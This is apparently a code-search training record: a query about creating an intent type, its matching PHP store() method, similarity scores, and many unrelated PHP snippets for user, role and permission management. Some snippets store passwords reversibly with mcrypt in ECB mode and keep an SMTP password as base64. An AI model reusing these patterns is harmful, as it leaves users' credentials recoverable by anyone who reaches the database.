$this->Session->delete('SurveyQuestion.delete');\n if ($this->Session->check('Survey.id')) $this->Session->delete('Survey.id');\n }\n if (($type == CLEAR_ALL | $type == CLEAR_RESPONDENT)) {\n if ($this->Session->check('SurveyRespondent.new')) $this->Session->delete('SurveyRespondent.new');\n if ($this->Session->check('SurveyRespondent.delete')) $this->Session->delete('SurveyRespondent.delete');\n }\n if (($type == CLEAR_ALL | $type == CLEAR_SURVEY)) {\n if ($this->Session->check('Survey.type')) $this->Session->delete('Survey.type');\n if ($this->Session->check('Survey.original')) $this->Session->delete('Survey.original');\n if ($this->Session->check('Survey.progress')) $this->Session->delete('Survey.progress');\n if ($this->Session->check('Survey.answers')) $this->Session->delete('Survey.answers');\n if ($this->Session->check('Survey.hierarcy')) $this->Session->delete('Survey.hierarcy');\n if ($this->Session->check('Survey.mainGoal')) $this->Session->delete('Survey.mainGoal');\n if ($this->Session->check('Survey.respondent')) $this->Session->delete('Survey.respondent');\n if ($this->Session->check('Survey.started')) $this->Session->delete('Survey.started');\n if ($this->Session->check('Survey.id')) $this->Session->delete('Survey.id');\n }\n }", "public function DeleteType($manager_id,$id){\n $type=$this->IsOwn($manager_id,$id);\n if($type)\n {\n /* determine if the type has children */\n if($type->parent_id)\n {\n $child=$this->where(['parent_id'=>$type->id,'manager_id'=>$manager_id])->first();\n if($child)\n {\n return false;\n }\n }\n\n /* determine if the type has good */\n $good=Good::where('type_id',$type->id)->first();\n if($good)\n {\n return false;\n }\n $type->delete();\n return true;\n\n }\n return false;\n }", "public function deleteWithType(string $aggregateType): void;", "public function deleteAction()\n {\n if ($this->request->isPost()) {\n $ids = $this->request->getPost('ids');\n\n ZArrayHelper::toInteger($ids);\n\n foreach ($ids as $id) {\n /**\n * @var MenuTypes $menu_type\n */\n $menu_type = MenuTypes::findFirst($id);\n /**\n * @var MenuDetails[] $menu_details\n */\n $menu_details = MenuDetails::find([\n 'menu_type_id = ?0',\n 'bind' => [$id]\n ]);\n foreach ($menu_details as $detail) {\n $detail->delete();\n }\n if ($menu_type->delete()) {\n $this->flashSession->success($menu_type->name . ' deleted successful');\n\n } else {\n $this->flashSession->error($menu_type->name . ' deleted fail');\n }\n }\n }\n return $this->response->redirect('/admin/menu/');\n }", "function search_index_remove($object_id, $type) {\n return call_user_func_array(array(SEARCH_ENGINE, 'remove'), array($object_id, $type));\n }", "protected static function deleteData($id, $type)\n\t{\n\t\t$id = intval($id);\n\n\t\t$res = HookData::getList(array(\n\t\t\t'select' => array(\n\t\t\t\t'ID'\n\t\t\t),\n\t\t\t'filter' => array(\n\t\t\t\t'ENTITY_ID' => $id,\n\t\t\t\t'=ENTITY_TYPE' => $type\n\t\t\t)\n\t\t));\n\t\twhile ($row = $res->fetch())\n\t\t{\n\t\t\tHookData::delete($row['ID']);\n\t\t}\n\t}", "protected function removeAllItems($type)\n\t{\n\t\t$names = ItemHelper::getItemsNameByType($this->items, $type);\n\t\tif (empty($names)) {\n\t\t\treturn;\n\t\t}\n\t\t\n\t\tforeach ($names as $n => $hardTrue) {\n\t\t\t$this->domain->assignment->revokeAllByItemName($n);\n\t\t}\n\t\t\n\t\t/*foreach ($this->domain->assignment->all() as $i => $assignments) {\n\t\t\tforeach ($assignments as $n => $assignment) {\n\t\t\t\tif (isset($names[$assignment->roleName])) {\n\t\t\t\t\tunset($this->assignments[$i][$n]);\n\t\t\t\t}\n\t\t\t}\n\t\t}*/\n\t\t\n\t\t$this->children = ItemHelper::removeByNames($this->children, $names);\n\t\t\n\t\t$this->saveItems();\n\t}" ]
[ "0.6604152", "0.6483207", "0.62810916", "0.6251015", "0.62294316", "0.61535203", "0.6046666", "0.6044151", "0.59777796", "0.5862641", "0.58557814", "0.58289677", "0.58195597", "0.5772815", "0.57281554", "0.5719208", "0.5713298", "0.567112", "0.566061", "0.5660241", "0.56277716", "0.5626135", "0.5619365", "0.56057185", "0.56047684", "0.55672455", "0.553707", "0.5523948", "0.55122477", "0.5512187", "0.54996973", "0.5490459", "0.54769", "0.5476618", "0.54614896", "0.5453434", "0.5453434", "0.54103374", "0.5405114", "0.53991413", "0.5387834", "0.538553", "0.5383695", "0.5374438", "0.5366785", "0.5363734", "0.53632116", "0.5354242", "0.5351631", "0.5338673", "0.5335615", "0.53310883", "0.53280044", "0.53249043", "0.5307069", "0.5296215", "0.5292923", "0.5284976", "0.527906", "0.5271149", "0.5252572", "0.52348304", "0.52306175", "0.52300406", "0.5225821", "0.5223766", "0.5218161", "0.5215447", "0.5208413", "0.52065796", "0.5197735", "0.5196651", "0.51903415", "0.51821816", "0.5178447", "0.51769704", "0.51659334", "0.5165405", "0.516165", "0.5161112", "0.51504374", "0.5147714", "0.5146537", "0.5141576", "0.5141506", "0.5138668", "0.5130077", "0.51248896", "0.5120704", "0.51158464", "0.5111154", "0.51100135", "0.5101915", "0.5099969", "0.5099585", "0.50952715", "0.5094836", "0.5094736", "0.509453", "0.5093777", "0.5093764" ]
0.0
-1
Create Intent Type Supply Intent Type information to create a new one Rules of Access User is an ADMIN
public function store(IntentTypeRequest $request) { $type = $this->service()->repo()->create($request->all()); return $this->created($type); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function create()\n\t{\n\t\t//Permissions are created via code\n\t}", "public function check_access_type() {\n // get users\n $user_list = $this->get_user->get_all_users();\n // check user is in access table\n foreach($user_list as $user) {\n // check if user exists\n $user_access = $this->get_user->user_level($user->user_id);\n // inserts new user into table\n if ($user_access == NULL && $user_access == '') {\n $this->get_user->insert_access($user->user_id,'student');\n } \n // generates new password if default value of 'password' is found\n $this->generate_new_passwords(); \n }\n }", "public function createNew($UserID,$Type,$Application,$AdminName){\n try {\n $this->validateAccountParams($UserID, $Type, $Application);\n $this->accountGateway->create($UserID, $Type, $Application, $AdminName);\n } catch (ValidationException $exc) {\n throw $exc;\n } catch (PDOException $e){\n throw $e;\n }\n }", "public function addPerm($uid,$rid,$type){\n\t\terror_log($uid.'-'.$rid.'-'.$type);\n\t\t$arr=array(\n\t\t\t'uid'\t=>$uid,\n\t\t\t'rid'\t=>$rid,\n\t\t\t'rtype'\t=>$type,\n\t\t\t'rcode'\t=>''\n\t\t);\n\t\t$this->db->insert('user_admin',$arr);\n\t}", "public function actionCreate()\n {\n $model = new AuthItem(null);\n $model->type = $this->type;\n if ($model->load(Yii::$app->getRequest()->post(),'') && $model->save()) {\n return $this->success();\n } else {\n return $this->fail($model->getErrors(),Yii::t('rbac-admin', 'Name'));\n }\n }", "public function indexApCreate(){\n //This will be used to display in the Wizard of available Realms in the Create screens of Vouchers; Permanent Users; and Devices\n $user = $this->Aa->user_for_token($this);\n if(!$user){ //If not a valid user\n return;\n }\n $this->_doApListFor($user,'create'); \n }", "public function Create_Account($p_CompanyName, $p_UserName, $p_Password, $p_Email){\n $acc_info=new Account_Info();\n $acc_info->AccountId = $this->GetGUID();//GUID Creation\n $acc_info->CompanyName = $p_CompanyName;\n $acc_info->Status = AccountStatus::Trail;//Enum Data Type Creation\n print_r($acc_info->Status);\n $acc_info->AccountType = AccountType::Starter;//Enum Data Type Creation\n $acc_info->ExpiryDate = date('Y-m-d', strtotime('+15 days'));\n \t $acc_info->CreatedDate = date('Y-m-d');\n \t $acc_info->Email = $p_Email;\n $acc_info->Insert();\n \t $usr_info = new User_Info();\n $usr_info->UserId = $this->GetGUID();\n \t $usr_info->AccountId =\"$acc_info->AccountId\";\n $usr_info->Email = $p_Email;\n \t $usr_info->UserName =$p_UserName;\n \t $usr_info->Password = $p_Password; \n \t $usr_info->Role = UserRole::Admin;//Enum Data Type Creation\n $usr_info->Insert();\n }", "public function create($type)\n {\n //\n }", "private function createUser($type='') {\n return $this->ec->createUser($type);\n }", "public function create()\n {\n if(Auth::guard('restaurant')->id())\n {\n $id= Auth::guard('restaurant')->id();\n }\n else if(Auth::guard('manager')->id())\n {\n $manager = Auth::guard('manager')->user();\n $id=$manager->restaurant_id;\n $user_type=$manager->user_type;\n $perms=get_admin_module_permission($id,$user_type,'coupon');\n\n if(isset($perms))\n {\n if($perms->create)\n {}\n else{\n return view('admin.nopermission')->with('error', 'Permission Denied');\n } \n }\n\n }\n else{\n return redirect('admin');\n }\n\n return view('admin.coupon.create');\n }", "public function executeCreateAdmin() {\n do {\n if (!empty($email_input)) {\n echo \"That is not a valid email.\\n\";\n }\n $email_input = $this->readline('Email: ');\n } while (!$email = Scrub::email($email_input));\n\n do {\n $password = $this->readline('Password: ');\n } while (strlen($password) < 6);\n\n $res = UserModel::create($email, $password);\n if ($res['success']) {\n $user = ClientUser::getInstance(); \n $user->setType(UserModel::TYPE_ADMIN);\n } else {\n echo \"Failed to create user.\\n\";\n }\n }", "public function create($type,$description, $AdminName){\n try {\n $this->validateIdentiyTypeParams($type,$description);\n $this->identityTypeGateway->create($type,$description,$AdminName);\n } catch (ValidationException $ex) {\n throw $ex;\n }catch (PDOException $e){\n \tthrow $e;\n }\n }", "public function create() {\n// $role = Sentinel::findRoleById(1);\n// $roles = Rol::get();\n// foreach($roles as $role){\n// $role->removePermission(0);\n// $role->removePermission(1);\n// $role->save();\n// }\n// dd(Sentinel::getUser()->hasAccess('sds'));\n// dd(\\Modules\\Permissions\\Entities\\ModulePermission::where('module_id', 10)->where('permission', 'like', '%.view')->orderBy('menu_id')->lists('permission')->toArray());\n }", "public function create()\n {\n $user = Auth::User()->role;\n if($user=='Superadmin')\n return view('Types/typeeventcreate');\n if($user=='Admin')\n return view('Types/typeeventcreateadm');\n\n }", "function Create()\n\t{\n\t\tif (!ss9024kwehbehb($this)) {\n\t\t\treturn -1;\n\t\t}\n\n\t\t$this->FilterData();\n\n\t\tif (!$this->Validate('create')) {\n\t\t\treturn false;\n\t\t}\n\n\t\t$processed_unique_token = API_USERS::generateUniqueToken(SENDSTUDIO_LICENSEKEY . $this->username);\n\t\t$processed_password = API_USERS::generatePasswordHash($this->password, $processed_unique_token);\n\n\t\tif (!is_array($this->eventactivitytype)) {\n\t\t\t$this->eventactivitytype = array();\n\t\t}\n\n\t\tif ($this->trialuser == '1') {\n\t\t\t$agency_variables = get_agency_license_variables();\n\n\t\t\t$this->admintype = 'c';\n\t\t}\n\n\t\t$query = \"\n\t\t\tINSERT INTO [|PREFIX|]users (\n\t\t\t\tgroupid, username, password, unique_token, status, emailaddress, fullname,\n\t\t\t\ttrialuser, admintype, listadmintype, templateadmintype, segmentadmintype,\n\t\t\t\teditownsettings, usertimezone,\n\t\t\t\ttextfooter, htmlfooter,\n\t\t\t\tinfotips,\n\t\t\t\tsmtpserver, smtpusername, smtppassword, smtpport,\n\t\t\t\tcreatedate, lastloggedin,\n\t\t\t\tenableactivitylog, usewysiwyg, xmlapi, xmltoken,\n\t\t\t\tgettingstarted, googlecalendarusername, googlecalendarpassword,\n\t\t\t\teventactivitytype,\n\t\t\t\tadminnotify_email, adminnotify_send_flag, adminnotify_send_threshold,\n\t\t\t\tadminnotify_send_emailtext, adminnotify_import_flag, adminnotify_import_threshold, adminnotify_import_emailtext\n\t\t\t) VALUES (\n\t\t\t\t\" . intval($this->groupid) . \", '\" . $this->Db->Quote($this->username) . \"', '\" . $this->Db->Quote($processed_password) . \"', '\" . $this->Db->Quote($processed_unique_token) . \"', '\" . intval($this->status) . \"', '\" . $this->Db->Quote($this->emailaddress) . \"', '\" . $this->Db->Quote($this->fullname) . \"',\n\t\t\t\t'\" . ($this->trialuser == '1' ? '1' : '0') . \"', '\" . $this->Db->Quote($this->admintype) . \"', '\" . $this->Db->Quote($this->listadmintype) . \"', '\" . $this->Db->Quote($this->templateadmintype) . \"', '\" . $this->Db->Quote($this->segmentadmintype) . \"',\n\t\t\t\t'\" . intval($this->editownsettings) . \"', '\" . $this->Db->Quote($this->usertimezone) . \"',\n\t\t\t\t'\" . $this->Db->Quote($this->textfooter) . \"', '\" . $this->Db->Quote($this->htmlfooter) . \"',\n\t\t\t\t'\" . intval($this->infotips) . \"',\n\t\t\t\t'\" . $this->Db->Quote($this->smtpserver) . \"', '\" . $this->Db->Quote($this->smtpusername) . \"', '\" . $this->Db->Quote(base64_encode($this->smtppassword)) . \"', \" . intval($this->smtpport) . \",\n\t\t\t\t\" . time() . \", 0,\n\t\t\t\t'\" . intval($this->enableactivitylog) . \"', '\" . intval($this->usewysiwyg) . \"', '\" . intval($this->xmlapi) . \"', '\" . $this->Db->Quote($this->xmltoken) . \"'\n\t\t\t\t,\" . intval($this->gettingstarted) . \", '\" . $this->Db->Quote($this->googlecalendarusername) . \"', '\" . $this->Db->Quote($this->googlecalendarpassword) . \"', '\" . serialize($this->eventactivitytype) . \"',\n\t\t\t\t'\" . $this->Db->Quote($this->adminnotify_email) . \"', '\" . intval($this->adminnotify_send_flag) . \"', '\" . intval($this->adminnotify_send_threshold) . \"', '\" . $this->Db->Quote($this->adminnotify_send_emailtext) . \"',\n\t\t\t\t'\" . intval($this->adminnotify_import_flag) . \"', '\" . intval($this->adminnotify_import_threshold) . \"', '\" . $this->Db->Quote($this->adminnotify_import_emailtext) . \"'\n\t\t\t)\n\t\t\";\n\n\t\t// We want to get the userid once it is created.\n\t\tif (SENDSTUDIO_DATABASE_TYPE == 'pgsql') {\n\t\t\t$query .= ' RETURNING userid';\n\t\t}\n\n\t\t$this->Db->StartTransaction();\n\t\t$result = $this->Db->Query($query);\n\n\t\tif (!$result) {\n\t\t\t$this->Db->CommitTransaction();\n\t\t\treturn false;\n\t\t}\n\n\t\tif (SENDSTUDIO_DATABASE_TYPE == 'pgsql') {\n\t\t\t$userid = $this->Db->FetchOne($result, 'userid');\n\t\t} else {\n\t\t\t$userid = $this->Db->LastId(SENDSTUDIO_TABLEPREFIX . 'users_sequence');\n\t\t}\n\n\t\t$this->userid = $userid;\n\t\t\n\t\t$status = (create_user_dir($userid) === true);\n\n\t\tif (!$status) {\n\t\t\t$this->Db->RollbackTransaction();\n\t\t\treturn false;\n\t\t}\n\n\t\t$this->Db->CommitTransaction();\n\t\t$this->_cacheUserTypeCount = false;\n\t\treturn $userid;\n\t}", "static public function add()\n {\n add_role(\n self::ROLE_KEY, \n self::ROLE_NAME, \n [\n 'read' => true,\n 'edit_posts' => true, \n 'upload_files' => false,\n 'edit_others_posts' => true, //a tester a false\n\n 'edit_exercices' => true,\n 'publish_exercices' => false,\n 'read_exercice' => true,\n 'delete_exercice' => true,\n //'delete_exercices' => true,\n 'edit_others_exercices' => false,\n 'delete_others_exercices' => false,\n 'edit_exercice' => true,\n\n 'edit_lessons' => true,\n 'publish_lessons' => true,\n 'read_lesson' => true,\n 'delete_lesson' => true,\n 'edit_others_lessons' => false,\n 'delete_others_lessons' => false,\n 'edit_lesson' => true,\n\n 'manage_arts' => false,\n 'edit_arts' => false,\n 'delete_arts' => false,\n 'assign_arts' => true, \n ]\n\n );\n }", "public function run()\n {\n Permission::create([\n 'name' => 'company',\n 'guard_name' => 'web',\n ]);\n\n Permission::create([\n 'name' => 'customer',\n 'guard_name' => 'web',\n ]);\n }", "function make_new_user_action_of_type($user_id, $action_type, $action_body) {\n global $db_actions;\n return sql_query(\"SELECT a.* FROM $db_actions as a WHERE a.action_type = '$action_type' AND a.user_id = $user_id\");\n}", "function access_scheme_add($info) {\n drupal_set_title(t('Add access scheme: <em>@type</em>', array('@type' => $info['label'])), PASS_THROUGH);\n\n $scheme = entity_get_controller('access_scheme')->create(array('type' => $info['type']));\n $scheme->info = $info;\n return drupal_get_form('access_scheme_form', $scheme);\n}", "public function create()\n\t{\n\t\t$data = ['user_role_id' => USER_ROLE_ADMINISTRATOR];\n\t\tif ($id = $this->users_model->save($data)) {\n\n\t\t\t//if user has not access to update\n\t\t\t$this->session->set_userdata(['new_item' => ['module' => 'administrators', 'id' => $id]]);\n\n\t\t\tredirect(\"/admin/users/update/$id\");\n\t\t}\n\t\telse {\n\t\t\t$this->pls_alert_lib->set_flash_messages('error', lang('admin_create_failed'));\n\t\t\tredirect(\"/admin/administrators\");\n\t\t}\n\t}", "public function createOrEnableResAppRole( $subspecialtyType, $roleType, $institution, $testing=false ) {\n $em = $this->em;\n $user = $this->security->getUser();\n $userSecUtil = $this->container->get('user_security_utility');\n //process.py script: replaced namespace by ::class: ['AppUserdirectoryBundle:SiteList'] by [SiteList::class]\n $site = $em->getRepository(SiteList::class)->findOneByAbbreviation('resapp');\n\n $count = 0;\n\n //1) name: ROLE_RESAPP_DIRECTOR_WCM_BREASTPATHOLOGY\n //get ROLE NAME: Pathology Informatics => PATHOLOGYINFORMATCS\n $roleNameBase = str_replace(\" \",\"\",$subspecialtyType->getName());\n $roleNameBase = strtoupper($roleNameBase);\n //echo \"roleNameBase=$roleNameBase<br>\";\n\n //create Director role\n $roleName = \"ROLE_RESAPP_\".$roleType.\"_WCM_\".$roleNameBase;\n //echo \"roleName=$roleName<br>\";\n //process.py script: replaced namespace by ::class: ['AppUserdirectoryBundle:Roles'] by [Roles::class]\n $role = $em->getRepository(Roles::class)->findOneByName($roleName);\n\n if( !$role ) {\n $roleTypeStr = ucfirst(strtolower($roleType));\n //exit('1: '.$roleTypeStr);\n\n $role = new Roles();\n $role = $userSecUtil->setDefaultList($role, null, $user, $roleName);\n $role->setAlias('Residency Program '.$roleTypeStr.' WCM ' . $subspecialtyType->getName());\n $role->setDescription('Access to specific residency track as '.$roleTypeStr);\n $role->addSite($site);\n $role->setInstitution($institution);\n $role->setResidencyTrack($subspecialtyType);\n\n if( $roleType == \"INTERVIEWER\" ) {\n $role->setLevel(30);\n $count = $count + $userSecUtil->checkAndAddPermissionToRole($role,\"Submit an interview evaluation\",\"Interview\",\"create\");\n }\n\n if( $roleType == \"COORDINATOR\" ) {\n $role->setLevel(40);\n $count = $count + $userSecUtil->checkAndAddPermissionToRole($role,\"Create a New Residency Application\",\"ResidencyApplication\",\"create\");\n $count = $count + $userSecUtil->checkAndAddPermissionToRole($role,\"Modify a Residency Application\",\"ResidencyApplication\",\"update\");\n }\n\n if( $roleType == \"DIRECTOR\" ) {\n $role->setLevel(50);\n $count = $count + $userSecUtil->checkAndAddPermissionToRole($role,\"Create a New Residency Application\",\"ResidencyApplication\",\"create\");\n $count = $count + $userSecUtil->checkAndAddPermissionToRole($role,\"Modify a Residency Application\",\"ResidencyApplication\",\"update\");\n }\n\n if( $count > 0 && !$testing ) {\n $em->persist($role);\n $em->flush($role);\n }\n\n } else {\n $roleType = $role->getType();\n //exit('2: '.$roleType);\n if( $roleType != 'default' && $roleType != 'user-added' ) {\n $role->setType('default');\n if( !$testing ) {\n $em->persist($role);\n $em->flush($role);\n }\n $count++;\n }\n }\n\n return $count;\n }", "public function store(StoreRequest $request)\n{\n $AgentPermission=Permission::where('name','like','%Order%')->get();\n\n $user = User::create([\n 'name' => $request->name,\n 'email' => $request->email,\n 'password'=>Hash::make($request->password),\n 'password_confirmation'=>Hash::make($request->password_confirmation),\n 'mobile'=>$request->mobile,\n 'work'=>$request->work,\n 'is_agent'=>'1'\n ]);\n\n $user->assignRole([3]);\n\n foreach($AgentPermission as $a)\n {\n $user->givePermissionTo($a->id);\n\n }\n\n return $user;\n}", "abstract public function getAdminType();", "public function create()\n\t{\n\t\tif(!Auth::user()->hasPermission('createType')){\n\t\t\treturn redirect()->route('admin.getHome')->with('flash_message_error', '403! Không thể Create Type');\n\t\t}\n\t\t//\n\t\treturn view('admin.type.add');\n\t}", "public static function addActivty($sfGuardUserId, $activityTypeId, $title = '')\n\t {\n\t\t$activity = new Activity();\n\t\t$activity->setSfuserId($sfGuardUserId);\n\t\t$activity->setActivitytypeId($activityTypeId);\n\t\t$activity->setTitle($title);\n\t\t$activity->save();\n\t\t \n\t\treturn $activity; \t\n\t }", "public function create()\n {\n //\n if (TypeUser::find(\\Auth::user()->type_user_id)->TypeName != \"Reception\" and TypeUser::find(\\Auth::user()->type_user_id)->TypeName != \"Administator\") {\n return redirect('main');\n }\n return view('main.customer.create');\n }", "public function actionCreate()\n {\n $user = new User(['scenario' => 'create']);\n $role = new Role();\n $uni_id = ($_POST['User']['university']);\n\n if (\n $user->load(Yii::$app->request->post()) &&\n $role->load(Yii::$app->request->post()) &&\n Model::validateMultiple([$user, $role])\n ) {\n $user->setPassword($user->password);\n $user->generateAuthKey();\n $user->status = 10;\n $user->gender = ($_POST['User'][\"gender\"]);\n $user->uni_id = (int) $uni_id;\n $user->role_id = \"Admin\";\n $datetime = new DateTime();\n $timezone = new DateTimeZone('Asia/Tashkent');\n $datetime->setTimezone($timezone);\n $now_date = ($datetime->format('Y-m-d'));\n $password = ($_POST['User'][\"password\"]);\n if ($user->save()) {\n $role->user_id = $user->getId();\n $role->save();\n $key_id = $this->keyselecter(); // keyselecter method selects randomly and written bottom\n $key = Keys::findOne($key_id);\n $key = $key->key;\n $key = md5('defender' . $key);\n $encrption = new Password();\n $encrption->password = rtrim(base64_encode(mcrypt_encrypt(MCRYPT_RIJNDAEL_256, $key, $password, MCRYPT_MODE_ECB)));\n $encrption->user_id = $user->getId();\n $encrption->key_id = $key_id;\n $encrption->save();\n return $this->redirect('../admin/index');\n }\n } else {\n return $this->render('create', [\n 'user' => $user,\n 'role' => $role,\n ]);\n }\n }", "public function actionCreate()\n {\n $bodyRaw = json_decode(Yii::$app->getRequest()->getRawBody(), true);\n\n if (is_array($bodyRaw)) {\n // check user is a guest\n if (array_key_exists('token', $bodyRaw)) {\n $userByToken = \\Yii::$app->user->loginByAccessToken($bodyRaw['token']);\n if (empty($userByToken)) {\n //return $this->goHome();\n return Json::encode(array('method' => 'POST', 'status' => 1, 'type' => 'error', 'message' => 'Ошибка: Аутентификация не выполнена'));\n }\n } else {\n return Json::encode(array('method' => 'POST', 'status' => 1, 'type' => 'error', 'message' => 'Ошибка: Аутентификация не выполнена'));\n }\n\n // Get array with user Roles\n $userRole =[];\n $userAssigned = Yii::$app->authManager->getAssignments($userByToken->id);\n foreach($userAssigned as $userAssign){\n array_push($userRole, $userAssign->roleName);\n }\n //return Json::encode(array('method' => 'GET', 'status' => 1, 'type' => 'error', 'message' => $userRole));\n\n // Check rights\n if (static::CHECK_RIGHTS_RBAC && !\\Yii::$app->user->can('createCustomer') && !\\Yii::$app->user->can('createMediator')) {\n return Json::encode(array('method' => 'POST', 'status' => 1, 'type' => 'error', 'message' => 'Ошибка: Не хватает прав на операцию добавления'));\n }\n /*\n $flagRights = false;\n foreach(array('admin', 'customer', 'contractor') as $value) {\n if (in_array($value, $userRole)) {\n $flagRights = true;\n }\n }\n if (!$flagRights) return Json::encode(array('method' => 'POST', 'status' => 1, 'type' => 'error', 'message' => 'Ошибка: Не хватает прав на операцию добавления'));\n */\n\n // Because the field names may match within a single query, the parameter names may not match the table field names. To solve this problem let's create an associative arrays\n $arrayFeedbackAssoc = array ('id' => 'id', 'profile_id' => 'profile_id', 'status_feedback_id' => 'status_feedback_id', 'content' => 'content');\n\n $modelFeedback = new Feedback();\n\n // fill in the properties in the Feedback object\n foreach ($arrayFeedbackAssoc as $nameFeedbackAssoc => $valueFeedbackAssoc) {\n if (array_key_exists($valueFeedbackAssoc, $bodyRaw)) {\n if ($modelFeedback->hasAttribute($nameFeedbackAssoc)) {\n if ($nameFeedbackAssoc != 'id') {\n $modelFeedback->$nameFeedbackAssoc = $bodyRaw[$valueFeedbackAssoc];\n\n if (!$modelFeedback->validate($nameFeedbackAssoc)) return Json::encode(array('method' => 'POST', 'status' => 1, 'type' => 'error', 'message' => 'Ошибка валидации: параметр '.$valueFeedbackAssoc));\n\n $modelFeedback->created_by = $userByToken->id;\n $modelFeedback->created_at = time();\n $modelFeedback->updated_at = time();\n }\n }\n }\n }\n\n if ($modelFeedback->validate()) {\n $transaction = \\Yii::$app->db->beginTransaction();\n try {\n $flagFeedback = $modelFeedback->save(false); // insert into Feedback table\n\n if ($flagFeedback == true) {\n $transaction->commit();\n } else {\n $transaction->rollBack();\n return Json::encode(array('method' => 'POST', 'status' => 1, 'type' => 'error', 'message' => 'Ошибка: Отзыв не может быть сохранен'));\n }\n } catch (Exception $ex) {\n $transaction->rollBack();\n return Json::encode(array('method' => 'POST', 'status' => 1, 'type' => 'error', 'message' => 'Ошибка: Отзыв не может быть сохранен'));\n }\n\n //return Json::encode(array('method' => 'POST', 'status' => 0, 'type' => 'success', 'message' => 'Отзыв успешно сохранен', var_dump($bodyRaw), var_dump(ArrayHelper::toArray($modelFeedback))));\n return Json::encode(array('method' => 'POST', 'status' => 0, 'type' => 'success', 'message' => 'Отзыв успешно сохранен'));\n } else {\n return Json::encode(array('method' => 'POST', 'status' => 1, 'type' => 'error', 'message' => 'Ошибка валидации'));\n }\n } else {\n return Json::encode(array('method' => 'POST', 'status' => 1, 'type' => 'error', 'message' => 'Ошибка: Тело запроса не обработано'));\n }\n }", "public function create()\n {\n return view('dashboard.permTypes.create');\n }", "public function run()\n {\n foreach (['campaign', 'character', 'location', 'quest', 'note', 'user', 'role', 'journal'] as $type) {\n Permission::create(['name' => $type]);\n }\n }", "public function store(Request $request){\n\n// Log::info($request->type_name);\n// Log::info($request->module_children);\n foreach ($request->module_children as $value) {\n Permission::create([\n 'name' => $value. ' ' . $request->type_name\n ]);\n }\n\n }", "public function run()\n {\n\n\n UserType::create([\n 'role' => 'Free'\n ]);\n\n UserType::create([\n 'role' => 'Paid'\n ]);\n\n UserType::create([\n 'role' => 'Founding Member'\n ]);\n UserType::create([\n 'role' => 'Sponsor'\n ]);\n\n UserType::create([\n 'role' => 'Admin'\n ]);\n }", "public function create(User $user)\n {\n return User::isAdmin($user);\n return $user->tipouser->permission()->get()->contains(\"nomePermissao\",\"Adicionar Eventos\");\n }", "public function actionCreate()\n {\n /** @var User $user */\n $user = Yii::createObject([\n 'class' => User::className(),\n 'scenario' => 'create',\n ]);\n \n $session = Yii::$app->session;\n $company=$session->get('user.company');\n\t\t\n\t $permission=new \\common\\models\\CommonCode();\t\n $userPermission= json_decode($session->get('userPermission'));\n\t\t$company_id = $userPermission->company_id;\n $roles=$userPermission->roles;\n $roleId=$this->getUserPermissionRoleId($roles);\n \n if($userPermission->isSystemAdmin)\n {\n $roleObj = \\backend\\models\\Roles::find()->where([\"is_superadmin\"=>1])->asArray()->all();\n $user->is_superadmin=1;\n \n }else\n {\n if ($permission->canAccess(\"user-update\") || $permission->canAccess(\"update-profile\") || $permission->canAccess(\"user-create\"))\n {\n $roleObj = \\backend\\models\\Roles::find()->where([\"company_id\"=>$company_id,\"is_superadmin\"=>0])->asArray()->all(); \n }\n else\n {\n \n $roleObj = \\backend\\models\\Roles::find()->where([\"company_id\"=>$company_id,\"is_superadmin\"=>0])->andWhere(['not in',\"id\", $roleId])->asArray()->all(); \n \n\n \n }\n \n }\n $roleArray = ArrayHelper::map($roleObj, 'id', 'role_name'); \n if($userPermission->isSystemAdmin)\n {\n $companyObj = \\backend\\models\\CompanyMaster::find()->where([\"!=\",\"id\",$company['id']])->asArray()->all();\n \n }else{\n \n $companyObj = \\backend\\models\\CompanyMaster::find()->where([\"id\"=>$company['id']])->asArray()->all();\n }\n $companyArray = ArrayHelper::map($companyObj, 'id', 'company_name'); \n \n $this->performAjaxValidation($user);\n //var_dump($user);die;\n $param=Yii::$app->request->post();\n // var_dump($user);die;\n if(isset($param['selectItemUser']['role_id']))\n {\n $selectedRoleArray=implode(\",\",$param['selectItemUser']['role_id']);\n \n }else{\n $selectedRoleArray=0;\n }\n \n //check superadmin\n \n if ($user->load(Yii::$app->request->post()) ) \n {\n \n $param=Yii::$app->request->post();\n $user->company_id=$param['User']['company_id'];\n if(isset($param['selectItemUser']['role_id']) && count($param['selectItemUser']['role_id']))\n {\n if($user->create())\n {\n $roles=$param['selectItemUser']['role_id'];\n foreach($roles as $role)\n {\n $userrole=new \\backend\\models\\UserRoles(); \n $userrole->role_id=$role;\n $userrole->user_id=$user->id; \n $userrole->save();\n \n \n \n }\n \n //update the user name\n $paramprofile=$param[\"User\"];\n \n if(isset($paramprofile['name']))\n {\n \n $userprofile=\\backend\\models\\Profile::find()->where(['user_id'=>$user->id])->one();\n $userprofile->name=$paramprofile['name'];\n $userprofile->save(false);\n }\n \n \n //assign permission to user\n $rolepermission=$user->AssignRolePermission($user->id,$param['selectItemUser']['role_id']);\n }\n $company=new \\backend\\models\\UserCompanyRel();\n $company->company_id=$user->company_id;\n $company->user_id=$user->id;\n $company->created_at=date(\"Y-m-d H:i:s\");\n $company->updated_at=date(\"Y-m-d H:i:s\");\n $company->save();\n \n \n Yii::$app->getSession()->setFlash('success', Yii::t('user', 'User has been created'));\n \n return $this->redirect(['update', 'id' => $user->id]);\n \n \n }else{\n $user->addError(\"role_id\",\"please select role\");\n \n }\n \n \n }\n\n return $this->render('create', [\n 'user' => $user,\n 'roleArray'=>$roleArray,\n 'companyArray'=>$companyArray,\n 'selectedRoleArray'=>$selectedRoleArray\n ]);\n }", "public function getType()\n {\n $config = Config::get('shopify-app.api_grant_mode');\n if ($config === self::GRANT_PERUSER) {\n return self::GRANT_PERUSER;\n }\n\n return self::GRANT_OFFLINE;\n }", "function ft_wp_user_register($user_id)\r\n{\r\n $role = ft_wp_get_wpuser_role($user_id);\r\n\r\n $formtools_account_id = \"\";\r\n if (!empty($role))\r\n {\r\n // now get the Form Tools account ID associated with this role type\r\n $access_level = \"formtoolsaccess__{$role}\";\r\n $formtools_account_id = get_option($access_level);\r\n }\r\n\r\n update_usermeta($user_id, 'form_tools_access', $formtools_account_id);\r\n}", "public function create()\n {\n if(Auth::user()->type == 'admin'){\n return view('admin.users.create');\n }else{\n return redirect()->route('admin.dashboard.index');\n }\n \n }", "public function create()\n {\n // Admin only\n }", "public function create()\n\t{\n\t\t$consultperm = AclPermission::where('main_module','=','consultant')->get();\n\t\t$awardedperm = AclPermission::where('main_module','=','awarded')->get();\n\t\t$akdnperm = 